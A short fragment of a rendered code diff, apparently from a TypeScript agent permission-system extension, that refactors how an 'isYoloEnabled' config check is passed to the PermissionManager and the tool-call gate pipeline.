const isYoloEnabled = (): boolean => isYoloModeEnabled(configStore.current());
|
|
92
|
+
|
|
90
93
|
const permissionManager = new PermissionManager({
|
|
91
94
|
agentDir,
|
|
92
95
|
flavor: hostFlavor,
|
|
93
|
-
isYoloEnabled
|
|
96
|
+
isYoloEnabled,
|
|
94
97
|
});
|
|
95
98
|
|
|
96
99
|
const logger = new PermissionSessionLogger({
|
|
@@ -255,6 +258,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
|
|
|
255
258
|
sessionRules,
|
|
256
259
|
authorizerSelection,
|
|
257
260
|
reporter,
|
|
261
|
+
isYoloEnabled,
|
|
258
262
|
);
|
|
259
263
|
const toolCallGatePipeline = new ToolCallGatePipeline(
|
|
260
264
|
resolver,
|